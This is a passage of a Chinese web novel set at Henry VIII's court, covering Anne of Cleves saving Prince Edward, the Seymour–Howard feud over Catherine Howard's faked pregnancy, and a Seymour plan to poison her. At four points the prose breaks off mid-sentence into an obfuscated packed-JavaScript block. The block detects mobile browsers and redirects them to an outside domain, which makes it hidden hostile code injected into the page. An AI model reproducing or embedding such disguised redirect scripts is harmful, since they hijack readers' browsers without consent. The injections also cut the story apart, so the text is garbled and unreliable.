他大步走到安妮面前，巨大的身躯带来强烈的压迫感，但眼神却显得有些躲闪和……无措。他先是看了一眼床上的爱德华，确认儿子确实安稳地睡着，然后才将目光转向安妮。他伸出那双曾经签署过无数命令、也沾染过鲜血的大手，不由分说地、紧紧地握住了安妮那双因连日操劳而冰凉的手。 “安妮……夫人。”亨利的声音低沉沙哑，带着一种前所未有的、甚至有些别扭的温和。他避开了“王后”或“妹妹”的称呼，用了最中性却也最郑重的“夫人”。“我……”他似乎想说什么，但巨大的情感和帝王的骄傲堵住了他的喉咙。最终，他只是用力地、反复地握了握安妮的手，那双布满红丝的眼睛里，清晰地映出安妮疲惫却平静的面容。 “谢谢你。”他终于说出了这三个字，声音不高，却异常清晰，带着一种沉甸甸的分量，仿佛卸下了千斤重担。“谢谢你……救了我的儿子。”他停顿了一下，又补充道，语气带着一丝不易察觉的恳求，“请你……继续照顾他，直到他完全康复。这里……这里的一切，你需要什么，尽管开口。” 这可能是亨利八世一生中，对被他抛弃的妻子，说过的最真诚、也最接近“低声下气”的话。安妮能感受到他手掌的粗糙和温热，也能感受到那份混杂着感激、愧疚和后怕的复杂情绪。她微微颔首：“陛下言重了。我会尽力。” *** *** 然而，王室的温情并未能驱散格林威治宫上空真正的阴云。就在爱德华病情稳定、亨利难得流露出片刻软弱的当日下午，一场新的风暴在枢密院的议事厅里悍然爆发。 议题是即将到来的秋税征收，特别是针对羊毛出口的关税调整。这本是例行公务，却瞬间成为了西摩家族与霍华德家族角力的战场。 爱德华·西摩，外甥从鬼门关被拉回的庆幸并未冲淡他的愤怒，反而让他的复仇之火燃烧得更加炽烈。他知道下毒的线被霍华德家清理得干干净净，但他绝不会放过任何一个打击对方的机会。他率先发难，矛头直指霍华德家族控制下的几大羊毛港口。 “陛下！”爱德华·西摩的声音洪亮，带着毫不掩饰的指责，“东盎格利亚各港上报的羊毛出口量，与实际关税收入严重不符！差额之大，绝非正常损耗！这分明是有人上下其手，中饱私囊，侵蚀国库根基！臣恳请陛下，立刻派专员彻查诺维奇、金斯林等港口！严惩蛀虫！” 他的目光如刀，狠狠剐向端坐在对面的诺福克公爵。 诺福克公爵托马斯·霍华德老神在在，嘴角甚至挂着一丝若有若无的讥讽。他慢条斯理地捋了捋修剪整齐的胡须，声音平和却字字带刺：“西摩大人此言差矣。关税征收，牵涉环节众多，路途损耗、海盗劫掠、市场波动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155918|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，皆可造成账目差异。仅凭臆测就指控国之重臣、污蔑忠良，是否太过轻率？还是说……”他故意拖长了语调，目光扫过西摩，“有人因私废公，借题发挥，欲行打压异己之实？毕竟，王子殿下刚刚转危为安，某些人就迫不及待地要搅动风云，其心可诛啊！” 他巧妙地将税务问题与王子中毒的嫌疑联系起来，暗示西摩家族在借机报复。 “你！”爱德华·西摩拍案而起，怒目圆睁，“诺福克！你休要血口喷人！王子之事，天理昭昭，必有水落石出之日！倒是你们霍华德家，把持港口，贪得无厌，才是真正的国之蛀虫！陛下！臣……” “够了！！！” 一声如同受伤雄狮般的咆哮，猛地打断了西摩的控诉。亨利八世坐在高高的王座上，双手死死抓住扶手，指节因用力而发白。他脸色铁青，太阳穴上青筋暴跳，连日来的心力交瘁、丧子恐惧后的虚脱、以及眼前这无休止的、充满恶意的争吵，终于彻底压垮了他。 议事厅瞬间死寂。所有大臣都噤若寒蝉，看着他们的君王。 亨利没有看西摩，也没有看诺福克。他布满血丝的眼睛茫然地扫视着下方那些或惶恐、或算计、或愤怒的面孔，最后落在他空空如也的御案旁——那里曾经站着一个总是弓着背、眼神锐利、能迅速理清所有纷繁头绪、提出切实可行方案的人。 一股巨大的、迟来的悔恨和孤独感，如同冰冷的潮水，瞬间淹没了亨利。他颓然地松开抓着扶手的手，巨大的身躯仿佛佝偻了几分。他抬手，用力揉捏着剧痛的额角，声音嘶哑，充满了疲惫和一种令人心酸的自我厌弃，喃喃自语般地说道，声音不大，却清晰地传遍了寂静的大厅： “争吵……永远是无休止的争吵……算计……永远是恶毒的算计……朕的头……要裂开了……” 他停顿了一下，目光空洞地望着虚空，仿佛在对着一个不存在的人倾诉，语气中充满了前所未有的懊悔和茫然： “也许……也许朕真的不该砍掉沃特的头颅……至少……至少他在的时候……” 亨利的声音越来越低，带着一种深沉的无力感，“……真的能帮朕……把这些该死的事情……理清楚……” “沃特”——托马斯·克伦威尔（Thomas Cromwell）的昵称。 这个名字如同一个禁忌的幽灵，瞬间让整个议事厅的温度降到了冰点。所有大臣，无论是西摩派还是霍华德派，都脸色骤变，面面相觑，眼中充满了震惊和难以置信。陛下……竟然在公开场合，流露出对那个被他自己下令处决的“叛国者”的……怀念和悔意？ 爱德华·西摩眼中的愤怒瞬间被一种冰冷的讽刺取代。诺福克公爵脸上的从容也第一次出现了裂痕，眼神阴沉下来。 亨利似乎并未意识到自己说了什么惊世骇俗的话，他只是沉浸在巨大的头痛和更深的、无人可诉的孤独与悔恨中。他挥了挥手，声音疲惫至极：“税务的事……延后再议……都……退下吧……” 他不再看任何人，巨大的手掌依旧捂着脸，仿佛想将自己与这个充满阴谋、背叛和永远理不清的烂摊子的世界隔绝开来。克伦威尔那精明、冷酷却无比高效的身影，在他此刻混乱而痛苦的脑海中，竟显得如此清晰而……可靠。 西摩家族的人带着满腔的愤怒和一丝看到帝王软弱的快意，冷冷地扫了霍华德家族一眼，率先拂袖而去。诺福克公爵深深看了一眼王座上那个仿佛瞬间苍老了许多的君王，眼神复杂难明，最终也沉默地行礼告退。 议事厅空了。只剩下亨利沉重的喘息和窗外呼啸而过的风声。爱德华王子寝殿那边隐约传来平稳的呼吸声，而权力的中心，却只剩下一个被悔恨和孤独啃噬的帝王，以及一个刚刚被意外提及、却足以在所有人心中掀起惊涛骇浪的名字——托马斯·克伦威尔。霍华德家族看似再次避开了直接的冲击，但国王这声无意识的叹息，如同一颗投入深潭的石子，激起的涟漪，将比任何明面上的指控都更加深远和危险。 29. 黄金盔甲、蜂蜜承诺与盲盒中的命运 爱德华王子转危为安的消息，如同挣脱了禁锢的春风，迅速吹遍了格林威治宫的每一个角落，并不可阻挡地向整个伦敦、整个英格兰扩散。宫墙内，压抑了数日的阴霾被驱散，仆人们脸上重新有了笑容，脚步也轻快起来。虽然王子依旧虚弱，需要静养，但那份令人窒息的死亡气息已然消失，取而代之的是一种充满希望的疲惫和劫后余生的庆幸。民众的欢呼和教堂的钟声在宫墙外隐约可闻，为了王子的康复，也为了王国的未来似乎重归安稳。 然而，在这片“祥和”之下，诺福克公爵府邸的书房里，气氛却如同冰封的地窖。 托马斯·霍华德背对着门口，站在巨大的橡木书桌前，手中把玩着一柄镶嵌着红宝石的拆信刀。烛光将他的影子拉得老长，投在挂满先祖画像的墙壁上，如同一个沉默而庞大的幽灵。他身后，几个参与了“清理”行动的霍华德家族核心成员垂手肃立，大气不敢出。空气中弥漫着失败后的焦躁和一种被愚弄的愤怒。 “废物！”公爵的声音不高，却像冰锥一样刺入骨髓。他没有回头，只是将拆信刀“啪”地一声拍在桌面的羊皮地图上，刀尖正对着里士满的位置。“精心策划，万无一失……结果呢？被一个我们所有人都没放在眼里的、早就该被扫进历史垃圾堆的德意志女人给毁了！” 他猛地转过身，鹰隼般的目光扫过噤若寒蝉的众人，最后停留在那个负责具体执行的心腹脸上，眼神锐利得几乎要将他刺穿。“那个女巫！她到底用了什么邪术？格里夫斯那个老废物居然还跟在她后面记录学习？简直是奇耻大辱！” “公爵大人，我们……”一个年轻的家族成员忍不住开口，语气带着不甘，“现在怎么办？爱德华没死，西摩家更是像疯狗一样盯着我们……” “怎么办？”诺福克公爵冷笑一声，打断了他的话，声音里充满了刻骨的懊悔和一丝不易察觉的后怕。“现在？现在只能等！像最耐心的猎人一样蛰伏！”他踱步到窗前，望着格林威治宫的方向，眼神阴沉。 “那个德国女人，”他咬着牙，每一个字都像是从齿缝里挤出来，“她救了爱德华。在陛下眼里，在那个暴怒的狮子最脆弱、最需要希望的时候，她成了救世主！她现在等于穿上了一层陛下亲手赐予的、用感激和愧疚打造的‘黄金盔甲’！比任何卫兵都坚固！这个时候再去碰她？是嫌陛下砍头的斧子不够快吗？” 他猛地回身，目光如电：“看看陛下在枢密院的样子！他连克伦威尔都开始后悔杀了！他现在就像一头刚刚找回了幼崽的雄狮，警惕、易怒，任何风吹草动都可能让他发狂！如果我们现在再有任何动作，哪怕只是动一动安妮·克里夫斯的一根头发丝，陛下都会毫不犹豫地扑上来，把我们这些他眼中的‘鬣狗’撕成碎片！为了凯瑟琳，为了她肚子里那个真正的希望，我们必须忍！” 他深吸一口气，强行压下翻腾的怒火，声音恢复了那种冷酷的算计：“告诉所有人，管好自己的嘴，收好自己的爪子。把尾巴夹紧了。对里士满那位‘尊贵的安妮女士’，要表现出十二万分的敬意和感激。她不是喜欢酿酒看星星吗？让她酿！让她看！让她在里士满那点小天地里享受她‘黄金盔甲’的保护。” 公爵的嘴角勾起一抹残忍的弧度，“这盔甲再坚固，也是暂时的。它的有效期，只到凯瑟琳王后顺利诞下健康的王子那一刻。等到小王子呱呱坠地，爱德华的存在就彻底成了多余，安妮·克里夫斯这层金光闪闪的护甲……哼，自然也就到了该剥下来的时候。到时候，新账旧账，一起清算！” 他的话语如同冰冷的判决，让书房内的温度又降了几分。众人低头称是，心中凛然，明白了公爵的隐忍和更深的图谋。现在，不是进攻的时机，而是等待致命一击的蛰伏期。 *** *** 与此同时，在格林威治宫爱德华王子寝殿的偏厅里，气氛却截然不同。 托马斯·西摩并未亲自前来，他深知此时过于接近安妮可能会引起不必要的猜忌。但他派来了最信任、也最不起眼的一个贴身侍从，带来了一个看似朴素的橡木箱子。 箱子打开，里面并非金银珠宝，而是码放得整整齐齐的、最上等的书写羊皮纸、几方顶级的墨锭、几支精心挑选的鹅毛笔，以及一小盒产自东方的、散发着清雅香气的上等茶叶——这些都是安妮日常所需且不易大量获得的精细物品。东西的价值不菲，却透着一种低调的实用和用心。 侍从恭敬地行礼，声音压得极低，确保只有安妮能听清：“安妮女士，西摩爵士命小人转达：爵士听闻您为救治王子殿下殚精竭虑，深为感佩。爵士说，里士满的生意，您无需挂心。有‘可靠的朋友’一直在暗中看护，绝无宵小敢去滋扰。蜂蜜酒军运转如常，订单只多不少。爵士还说，” 侍从顿了顿，声音更低了，“您只需安心在此照料王子殿下，您名下的任何产业，若有丝毫损失或周转不灵，托马斯家族定当全数补上，绝不让您有后顾之忧。” 这份“礼物”和承诺，分量十足，且恰到好处。它避开了敏感的金钱和权力交易，用实用物品表达了关心，用对生意的“看护”和“补偿”承诺展现了强大的实力和结盟的诚意，更传递了一个关键信息：托马斯家族是她坚实的后盾，尤其是在对抗霍华德家族方面。 安妮看着箱子里的东西，又听着侍从的转述，心中了然。西摩家族这是在向她递出橄榄枝，既是感谢她救了爱德华（西摩家族的政治资本），也是在拉拢她这个新晋的、拥有“黄金盔甲”的潜力股。这份支持，在当前的局势下，弥足珍贵。 “请替我向西摩爵士转达诚挚的谢意。”安妮的声音平静，但带着真诚，“爵士的关心和援手，我铭记于心。王子殿下情况稳定，我会尽心照料。” 侍从会意地点头，再次行礼后，悄无声息地退了出去。 *** *** 夜深了。格林威治宫终于从白日的喧嚣和紧张中沉静下来。爱德华王子在药效和安妮的精心护理下沉沉睡去， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155919|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小脸虽然依旧苍白，但呼吸平稳悠长，眉头舒展，褪去了病痛的狰狞，终于显露出属于他这个年龄的、天使般的宁静。 安妮独自坐在床边的一张矮凳上，没有看书，也没有处理事务。她只是静静地看着爱德华沉睡的容颜。烛光柔和地洒在他长长的睫毛上，投下小小的扇形阴影，小巧的鼻翼随着呼吸微微翕动，粉嫩的嘴唇无意识地嘟着，像一个不谙世事的婴孩。这一刻，他不再是英格兰未来的国王，不是各方势力争夺的棋子，只是一个劫后余生、需要被呵护的孩子。 看着这张纯净无邪的睡颜，安妮连日来紧绷的神经终于有了一丝松懈，但随之而来的，却是更深沉的疲惫和一种难以言喻的复杂情绪。她伸出手，指尖极轻地拂过爱德华额前柔软的碎发，动作温柔得不可思议。 她救了他。用她来自未来的知识，强行扭转了历史的轨迹（或者说，修正了蝴蝶翅膀扇起的偏差）。她因此获得了亨利短暂的感激、玛丽那串沉重的念珠、托马斯家族抛来的橄榄枝，还有那层看似坚固的“黄金盔甲”。 然而，身处这权力的风暴中心，安妮比任何人都清楚，这份“荣耀”和“保护”是多么的脆弱和虚幻。霍华德家族在暗处咬牙切齿，像潜伏的毒蛇，只待凯瑟琳的孩子降生便会露出獠牙。西摩家族的示好，背后是赤裸裸的政治投资和利用。亨利王的感激能持续多久？玛丽的祈祷又能庇护她几分？ 她感觉自己就像站在一场永不停歇的暴风眼中。四周是呼啸的狂风、翻涌的乌云、电闪雷鸣的权力倾轧和致命阴谋。风暴眼中心，此刻是宁静的，爱德华的睡颜是宁静的，里士满的蜂蜜酒坊在托马斯的“看护”下似乎也是宁静的。但这宁静，不过是风暴肆虐间隙的短暂喘息。 你永远不知道，下一个被递到你面前的华丽盒子，里面装着的，是意想不到的惊喜，还是足以致命的厄运。是来自国王新的赏赐？是托马斯家族更深的结盟信号？还是霍华德家族精心包装的、淬了剧毒的“和解礼物”？ 安妮的目光从爱德华脸上移开，落在窗边矮几上玛丽公主赠送的那串深色乌木念珠上，又仿佛穿透了墙壁，看到了遥远里士满酒坊中那些静静发酵的蜂蜜酒桶。 她轻轻叹了口气，声音微不可闻。黄金盔甲或许能抵挡明枪，却未必防得住暗箭。蜂蜜的承诺再甜美，也可能在下一刻变成穿肠毒药。在这座名为权力的迷宫中，每一步都如履薄冰，每一个选择都像是在拆一个未知的盲盒。 她唯一能确定的，只有眼前这个孩子需要她守护的平稳呼吸，以及手中这片刻的、暴风眼中珍贵的宁静。安妮轻轻握了握拳，眼神重新变得沉静而坚定。无论下一个盒子里是什么，她都必须拆开，也必须面对。为了爱德华，为了伊丽莎白，也为了她自己在这惊涛骇浪中，努力搏出的一线生机。她将目光重新投向沉睡的爱德华，仿佛要从那安详的睡颜中汲取继续前行的力量。风暴依旧在周围盘旋，但至少此刻，在风暴眼中，尚有一隅安宁。 30. 孕事盲盒 格林威治宫的盛夏，蝉鸣聒噪得令人心烦。凯瑟琳·霍华德的“孕事”如同一场精心排演的歌剧，在霍华德家族严密掌控的舞台上持续上演。然而，舞台之下，暗流涌动，裂痕已悄然滋生。 御医格里夫斯成了诺福克公爵手中最关键的提线木偶。在黄金与权势的威压下，他每日前往王后寝宫“诊脉”时，袖中都藏着公爵府送来的“指南”。他用含糊其辞的脉象描述、精心调制的催吐药水（由无害的草药和大量姜汁混合，刺激胃部产生剧烈反应），以及公爵提供的、用多层软布巧妙缝制、可随“孕期”进展调整厚度的腹垫，共同维持着这个巨大的谎言。 “王后殿下今日脉象滑利，胎气稳固。”格里夫斯的声音在寝殿里回荡，带着程式化的平稳，眼神却不敢与凯瑟琳那双日渐空洞的眼睛对视。侍女们熟练地为凯瑟琳系上特制的宽大裙袍，巧妙地掩住那并非源于生命的隆起。凯瑟琳则适时地蹙起秀眉，用手帕掩口，发出一阵被训练过的、足以让门外侍从听到的剧烈干呕声，声音在空旷的寝殿里回荡，带着一种空洞的戏剧感，像一出排演过度的咏叹调。 “哦……又难受了……快，蜜渍姜片……”她的声音带着恰到好处的虚弱和娇嗔。侍女安妮·巴斯克维尔立刻奉上准备好的小碟。每一次“孕吐”的表演，都像一把小锉刀，在凯瑟琳紧绷的神经上摩擦。她看着镜中那个被华服和谎言包裹的自己，金丝雀的羽毛依旧光鲜，但笼中的灵魂却在日复一日的伪装中迅速枯萎。恐惧如同冰冷的藤蔓，缠绕着她的心脏，越收越紧。她开始整夜失眠，眼下的乌青即使用最细腻的铅粉也难以完全遮盖。 而真正的风暴，始于一个被愧疚压垮的微小疏忽。 安妮·巴斯克维尔，这个从诺福克乡下带来的玩伴，曾经对参与这场惊天骗局感到刺激和隐秘的兴奋。但随着时间推移，看着凯瑟琳日渐憔悴、眼神中难以掩饰的惊惶，听着她深夜压抑的啜泣，安妮·巴斯克维尔心中的天平开始倾斜。黄金和许诺的前程，在良知的煎熬和可能到来的灭顶之灾面前，渐渐失去了重量。尤其当凯瑟琳某次在无人处崩溃，死死抓住她的手，指甲几乎嵌进她的皮肉，声音嘶哑地问：“安妮……我们会不会……像安妮·博林那样……” 那一刻，巴斯克维尔感到了彻骨的寒意。 一日深夜，当凯瑟琳在药物的作用下终于昏沉入睡，巴斯克维尔负责处理寝殿的秽物（主要是那些催吐药水的残留和伪装用的道具）。在一堆需要秘密焚毁的、沾着姜汁和草药痕迹的布片中，她慌乱中夹杂进了一样本不该出现在“孕期”王后寝殿的东西——一条她自己在月事期间使用过、未来得及妥善处理的普通亚麻月经布。极度的疲惫和巨大的心理压力让她失去了往日的谨慎，她将这一小包混杂的污物匆匆塞给一个她认为可靠的低阶侍女，吩咐其立刻拿去宫外偏僻处焚烧。 命运在此刻露出了獠牙。这名低阶侍女，早已被西摩家族的眼线用几枚银币悄然收买。当她拎着那包可疑的污物穿过宫廷后巷，准备执行命令时，被两名伪装成巡夜卫兵的西摩家心腹“恰好”拦下盘查。惊慌失措的侍女在威吓下轻易交出了包裹。 包裹在爱德华·西摩府邸的密室中被当众打开。当那条沾着新鲜经血的普通亚麻布被镊子夹出，与那些散发着姜味和药草气的“孕吐道具”形成刺眼对比时，密室中陷入了一片死寂，随即爆发出压抑的狂喜和冰冷的愤怒。 “铁证！”爱德华·西摩一拳砸在橡木桌上，指关节泛白，眼中燃烧着复仇的火焰，“霍华德！你们好大的狗胆！竟敢用这等下作的伎俩欺瞒陛下，亵渎王权！凯瑟琳·霍华德……你这假孕的贱人！” 这条月经布，如同在干燥的柴堆里投下的火星，瞬间点燃了西摩家族压抑已久的怒火和反击的号角。他们不再需要捕风捉影的指控，他们握住了足以将霍华德家族和王后拖入深渊的实锤。但他们并未立刻发难，如同最老练的猎手，西摩家族选择了隐忍，开始不动声色地搜集更多辅助证据——那个被收买的侍女的口供、可能接触过腹垫的裁缝的线索、格里夫斯与霍华德家族往来的蛛丝马迹。他们在等待一个能将对手一击毙命的最佳时机。 *** 纸终究包不住火。诺福克公爵托马斯·霍华德，这个宫廷阴谋的顶尖猎食者，几乎在西摩家获得证据的同时，就通过自己无孔不入的眼线，嗅到了危险的气息——关于那条“遗失”的月经布的模糊风声，以及西摩家异常的沉默。一股冰冷的恐惧瞬间攫住了他，比得知爱德华王子可能幸存时更甚。假孕是欺君大罪，足以让整个霍华德家族万劫不复！ 他如同一头被逼入绝境的困兽，带着一身戾气，在深夜强行闯入了凯瑟琳的寝宫。屏退所有侍女，厚重的宫门在他身后轰然关闭，隔绝了内外。 凯瑟琳被他狰狞的面目吓坏了，裹着丝绸睡袍缩在巨大的床角，脸色惨白如纸：“舅……舅舅？” 诺福克公爵没有废话，几步跨到床前，巨大的阴影完全笼罩了瑟瑟发抖的年轻王后。他俯下身，那双布满血丝、如同秃鹫般的眼睛死死盯着凯瑟琳，声音压得极低，却像淬毒的匕首，一字一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155920|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句扎进她的耳膜： “凯瑟琳·霍华德！你这蠢货！你和你那该死的侍女干的好事！” 凯瑟琳浑身一颤，巨大的恐惧让她几乎窒息，她瞬间明白了公爵指的是什么，泪水夺眶而出：“不……舅舅……安妮她不是故意的……我们……” “闭嘴！”公爵粗暴地打断她，枯瘦的手指如铁钳般捏住她的下巴，强迫她抬起头，直面自己眼中翻涌的杀意和疯狂，“是不是故意的已经不重要了！重要的是，西摩家的狗鼻子已经嗅到了血腥味！那条脏布……可能已经到了爱德华·西摩的手里！” “什么？！”凯瑟琳如遭雷击，瞳孔骤然收缩，身体控制不住地剧烈颤抖起来，仿佛看到了断头台的阴影。 “听着，小贱人！”公爵的声音如同地狱的寒风，每一个字都带着血腥味，“现在，把你那廉价的眼泪给我收起来！把你这副吓破胆的蠢样子给我藏好！明天，后天，每一天！你都得给我继续演下去！演得更像！吐得更真！笑得更大声！让所有人都相信，你肚子里怀着英格兰未来的国王！” 他的手指收紧，凯瑟琳痛得呜咽出声。 “如果你，或者你身边那个蠢货安妮·巴斯克维尔，再敢出一点纰漏……”公爵的脸凑得更近，浑浊的气息喷在凯瑟琳脸上，他几乎是从牙缝里挤出最恶毒的诅咒，“如果这假孕的把戏被戳穿……我向你保证，凯瑟琳，你会比安妮·博林死得更快、更惨！陛下对你那点宠爱，在滔天的怒火和耻辱面前，连个屁都不是！霍华德家族会第一个把你推出去，踩进烂泥里！你会成为英格兰历史上最可耻、最下贱的断头王后！你的名字，将永远和背叛、欺骗、肮脏绑在一起，遗臭万年！明白了吗？！” “明……明白了……”凯瑟琳的声音破碎不堪，巨大的恐惧彻底击垮了她。她像一滩烂泥般瘫软下去，泪水混合着冷汗流了满脸，眼神彻底失去了光彩，只剩下无边无际的绝望。金丝雀的羽毛凌乱不堪，华丽的牢笼此刻化作了冰冷的刑场，而悬在她头顶的铡刀，已经由她最信任的家族亲手落下。 诺福克公爵嫌恶地甩开她，仿佛甩掉一块肮脏的破布。他整理了一下衣襟，最后看了一眼床上失魂落魄、如同被抽走了灵魂的玩偶般的王后，眼神冷酷得没有一丝温度。他转身大步离去，沉重的宫门再次开启又关闭，留下寝殿内一片死寂，和空气中弥漫的、令人窒息的恐惧与毁灭的气息。 格林威治宫虚假的繁荣之下，一根维系着巨大谎言的丝线，已然崩裂。致命的倒计时，开始了。 --- 31. 暗室毒计与仓皇夜奔 诺福克公爵的威胁如同淬了冰的毒液，彻底冻结了凯瑟琳·霍华德的灵魂。寝殿厚重的门扉隔绝了外界的喧嚣，却关不住那弥漫在空气里的、令人窒息的绝望。凯瑟琳蜷缩在冰冷的锦缎床榻上，像一具被抽空了生命的玩偶。白日里强颜欢笑的“孕吐”表演耗尽了最后一丝气力，此刻只剩下无边无际的恐惧啃噬着她的骨髓。安妮·巴斯克维尔端着一杯温热的甘菊茶，小心翼翼地靠近，却被凯瑟琳空洞的眼神吓得僵在原地。那眼神里没有愤怒，没有悲伤，只有一片死寂的荒原。 “他……他说我会比安妮·博林死得更惨……”凯瑟琳的声音轻得像一阵风，破碎不堪，“他说我的名字会遗臭万年……巴斯克维尔……我们完了……全完了……”泪水无声地滑落，在惨白的脸颊上留下冰冷的痕迹。 巴斯克维尔心如刀绞，巨大的愧疚和恐惧让她几乎握不住手中的杯盏。那条该死的月经布！那个愚蠢的疏忽！她看着眼前这个曾经骄阳般明媚、如今却枯萎凋零的少女，想起诺福克公爵那秃鹫般噬人的眼神，一股寒意从脚底直冲天灵盖。她比任何人都清楚，一旦东窗事发，为了保全霍华德家族，诺福克公爵绝对会毫不犹豫地将她和凯瑟琳撕碎，踩进烂泥里，就像他说的那样。 “殿下……”巴斯克维尔的声音带着哭腔，试图抓住凯瑟琳冰凉的手，却被对方猛地甩开。 “别碰我！”凯瑟琳像受惊的兔子般缩到床角，眼神涣散，嘴里喃喃自语，“血……好多血……断头台……乌鸦在叫……”她的目光聚焦在桌上那碟下午茶剩下的红莓酱上，粘稠的暗红色在她惊恐的瞳孔中扭曲、放大，幻化成安妮·博林脖颈喷涌的鲜血。“不！不要！”她发出一声短促的尖叫，抓起一个靠枕死死捂住自己的脸，身体筛糠般颤抖起来。白日的伪装彻底崩塌，只剩下被恐惧彻底摧毁的精神废墟。她时而啜泣，时而发出令人毛骨悚然的低笑，像一个被噩梦魇住的孩子。 *** 同一片月光下，西摩家族在伦敦塔桥附近一处隐秘宅邸的地下密室内，气氛却如同即将引爆的火药桶。厚重的橡木桌上，那条被小心保存在琉璃匣中的、沾染着经血的亚麻布，在烛光下散发着无声却致命的控诉。爱德华·西摩端坐主位，面容冷峻如铁，眼中燃烧着复仇的烈焰。他周围聚集着西摩家族的核心成员和几位对霍华德家族深恶痛绝的北方贵族代表。 “铁证如山！”一位蓄着浓密胡须的北方伯爵指着琉璃匣，声音因激动而沙哑，“凯瑟琳·霍华德假孕欺君，霍华德家族胆大包天！这是亵渎王权，动摇国本！必须立刻呈报陛下，将这帮奸佞打入伦敦塔！” “呈报？怎么报？”爱德华·西摩的声音冰冷，带着一丝残酷的算计，“仅凭一条布？霍华德那老狐狸有一百种方法抵赖！他会说是侍女陷害，是裁缝失误，甚至反咬一口说我们伪造证据！别忘了，王后现在‘有孕’是陛下心头肉！贸然出击，只会打草惊蛇，甚至引火烧身！” 密室陷入短暂的沉默。烛火摇曳，映照着众人脸上不甘又焦灼的神情。 “那……西摩大人的意思是？”另一位较为年轻的西摩家族成员试探着问。 爱德华·西摩的手指轻轻敲击着桌面，发出沉闷的笃笃声，如同死神的鼓点。“我们需要一个……无可辩驳的时刻。一个让陛下亲眼目睹谎言崩塌、让霍华德百口莫辩的时刻。”他抬起眼，目光扫过众人，“比如，‘王后’在众目睽睽之下‘意外流产’，却流不出任何东西……或者，更直接一点……” 一个坐在阴影角落、面容阴鸷的西摩旁支成员，用一种刻意压低的、如同毒蛇吐信般的声音接话：“比如……让这个‘孩子’，‘胎死腹中’？而且，死得……让所有人都知道是霍华德照顾不周，甚至……是他们自己下的手？” 此言一出，密室内的空气瞬间凝固。所有人的目光都聚焦在那个阴鸷男子身上。 “约翰，说清楚。”爱德华·西摩的声音听不出喜怒。 名叫约翰的男子向前倾身，烛光照亮了他眼中闪烁的狠毒：“格里夫斯那个老东西，不是霍华德的走狗吗？我们的人已经查到他定期从公爵府一个特定药商那里取一些‘安胎补药’……如果，我们神不知鬼不觉地，在那‘补药’里加点‘料’？剂量不大，不会立刻致命，但足以让‘王后’在某个重要场合，比如觐见陛下或外国使节时，突然剧烈腹痛、出血……然后，当御医（最好是格里夫斯自己）手忙脚乱地诊断时，‘发现’胎儿早已停止发育多时！一个死胎！一个因为霍华德提供的‘补药’有问题，或者格里夫斯‘庸医误诊’而胎死腹中的死胎！” 他舔了舔嘴唇，继续描绘着阴毒的蓝图：“想想看，陛下会如何震怒？他期待已久的王子变成了死胎！还是因为霍华德的人出了问题！到时候，我们再抛出那条月经布，加上‘死胎’的佐证……霍华德家族假孕欺君、谋害龙裔的罪名就板上钉钉！凯瑟琳和诺福克，一个都跑不掉！而我们西摩……”他眼中闪过一丝狂热，“将是拨乱反正、捍卫王室血脉的功臣！爱德华王子的地位将更加稳固！” 密室内一片死寂。这个计划太过歹毒，风险也极高。但复仇的火焰和对权力的渴望，让一部分人的眼中燃起了赞同的光芒。 爱德华·西摩沉默良久。他盯着琉璃匣里的证物，又仿佛透过墙壁看到了格林威治宫里那个奄奄一息的幼小身影（爱德华王子的病情虽被安妮暂时稳住，但依旧凶险）。最终，他没有明确赞同，也没有反对，只是用一种极其平淡、却带着致命寒意的语气说：“约翰，去找我们最‘可靠’的药剂师朋友。让他准备好东西……要那种发作缓慢、症状类似急症流产的。至于时机……”他看向格林威治宫的方向，“等我的信号。记住，这件事，只能有我们几人知晓。若有半点风声走漏……”他没有说下去，但冰冷的眼神足以让所有人噤若寒蝉。 一场针对凯瑟琳腹中“胎儿”和整个霍华德家族的毒计，在阴影中悄然酝酿成形。 *** 凯瑟琳寝宫内的死寂，被一阵压抑的啜泣打破。安妮·巴斯克维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155921|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 